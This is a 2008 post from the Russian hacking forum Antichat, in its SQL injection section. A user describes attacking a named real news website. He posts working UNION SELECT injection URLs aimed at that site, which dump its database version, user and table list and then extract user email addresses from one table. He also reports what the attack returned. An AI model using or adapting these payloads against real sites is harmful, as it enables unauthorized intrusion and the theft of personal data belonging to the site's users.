Форум АНТИЧАТ - SQL Инъекции

#11

13.07.2008, 04:07

gisTy

Постоянный

Регистрация: 24.05.2008

Сообщений: 589

Провел на форуме:
3629857

Репутация: 504

Цитата:

Сообщение от Zedi

http://inforos.ru/?id=11041 точно не знаю но мне кажется этот сайт сплошная инъекцияя

впринципе ты оказался прав..
скажу сразу пинг до сайта, по крайней мере у меня большой был, поэтому может грузиться долго

Цитата:

http://inforos.ru/?idt=9999+unioN+select+1,concat_ws(0x3a3a,version( ),user(),database()),3,4,5,6,7/*

version(): 5.0.45-log
user(): inforosnet@localhost
database(): inforosnet

так как версия 5 - смотрим таблицы

Цитата:

http://inforos.ru/?idt=9999+unioN+select+1,concat_ws(0x2e,table_sche ma,table_name),3,4,5,6,7+from+information_schema.t ables/*

беглым взглядом окинув таблицы и ничего интересного не найдя в их названиях - проверил пару из них

Цитата:

http://inforos.ru/?idt=9999+unioN+select+1,concat_ws(0x2e,user_email ),null,null,5,null,null+from+inforos_user_reklama/*

здесь несколько мыльников...
так и не найдя ничего интересного, а скорее всего не пытаясь ничего интересного найти, так как очень хотелось спать, я запостил тут коммент и лег спать=)

Последний раз редактировалось gisTy; 13.07.2008 в 04:10..